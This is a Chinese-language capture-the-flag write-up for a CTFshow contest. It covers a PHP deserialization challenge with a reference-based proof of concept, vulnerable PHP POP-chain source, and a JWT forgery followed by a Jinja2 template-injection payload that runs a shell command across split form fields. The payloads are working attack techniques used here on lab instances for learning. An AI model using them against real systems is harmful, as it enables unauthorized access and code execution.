CTFshow 11月赛 WP

1.给我看看

<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");

class whoami{
    public $name;
    public $your_answer;
    public $useless;

    public function __construct(){
        $this->name='ctfshow第一深情';
        $this->your_answer='Only you know';
        $this->useless="I_love_u";
    }

    public function __wakeup(){
        global $flag;
        global $you_never_know;
        $this->name=$you_never_know;

        if($this->your_answer === $this->name){
            echo $flag;
        }
    }
}

$secret = $_GET['s'];
if(isset($secret)){
    if($secret==="给我看看!"){
        extract($_POST);
        if($secret==="给我看看!"){    
            die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
        }
        unserialize($secret);
    }
}else{
    show_source(__FILE__);
}

POC:

<?php

class whoami{
    public $your_answer;

    public function __construct(){
        $this->your_answer=&$this->name;
    }
}

$a = new whoami();
echo serialize($a);
?>

考点

$you_never_know是编码后的随机数,考点是&引用 
**利用extract($_POST);覆盖变量 
那么只需要构造$this->your_answer=&$this->name;即可,
先get一个s=给我看看!进入第一关if判断
再利用extract()变量覆盖的特性,post一个secret=xxx绕过来第二个if判断,触发反序列化

payload:

图片

2.easyPOP

<?php 
highlight_file (__FILE__);
error_reporting(0);
class action_1{
    public $tmp;
    public $fun = 'system';
    public function __call($wo,$jia){
        call_user_func($this->fun);
    }
    public function __wakeup(){
        $this->fun = '';
        die("阿祖收手吧,外面有套神");
    }
    public function __toString(){
        return $this->tmp->str;
    }
}

class action_2{
    public $p;
    public $tmp;
    public function getFlag(){
        if (isset($_GET['ctfshow'])) {
            $this->tmp = $_GET['ctfshow'];
        }
        system("cat /".$this->tmp);
    }
    public function __call($wo,$jia){
        phpinfo();
    }
    public function __wakeup(){
        echo "<br>";
        echo "php版本7.3哦,没有人可以再绕过我了";
        echo "<br>";
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

class action_3{
    public $str;
    public $tmp;
    public $ran;
    public function __construct($rce){
        echo "送给你了";
        system($rce);
    }
    public function __destruct(){
        urlencode($this->str);
    }
    public function __get($jia){
        if(preg_match("/action_2/",get_class($this->ran))){
            return "啥也没有";
        }
        return $this->ran->$jia();
    }
}

class action_4{
    public $ctf;
    public $show;
    public $jia;
    public function __destruct(){
        $jia = $this->jia;
        echo $this->ran->$jia;
    }
    public function append($ctf,$show){
        echo "<br>";
        echo new $ctf($show);
    }
    public function __invoke(){
        $this->append($this->ctf,$this->show);
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $output = unserialize($pop);
    if(preg_match("/php/",$output)){
            echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
            die("不可以用伪协议哦");
        }
}

3.通关大佬

第一步

用非admin随便登录,查看application可以看到jwt,修改jwt,user->admin,key爆破得到为12345

图片

修改后进入第二步

第二步

发现token很快就失效了

JWT的payload中的exp模块可以修改时间,这里将时间延长

图片

第三步

SSTI

这里<通关人>没任何过滤,但有长度限制,只能25个字符以内,<排名>和<通关时间>都有严格的校验,<通关感言>有较严格的过滤,包括下划线、单双引号、request、中括号、百分号等一些关键字符

导致只通过其中一个输入框无法getshell,需要多个输入框进行配合getshell

这里选择了通过<通关人>和<通关感言>进行配合getshell

GET
http://9e8044b0-cac5-42eb-8e39-af150b380a8d.challenge.ctf.show/edit?
a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=cat ../flag.txt
&g=read

POST
name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|
attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}
&time=2021年11月11日

拼接可以得到

config.__init__.__globals__.__getitem__['os'].popen(cat ../flag.txt)
.read()
posted @ 2021-11-18 20:29  _Nov1ce  阅读(84)  评论(0编辑  收藏  举报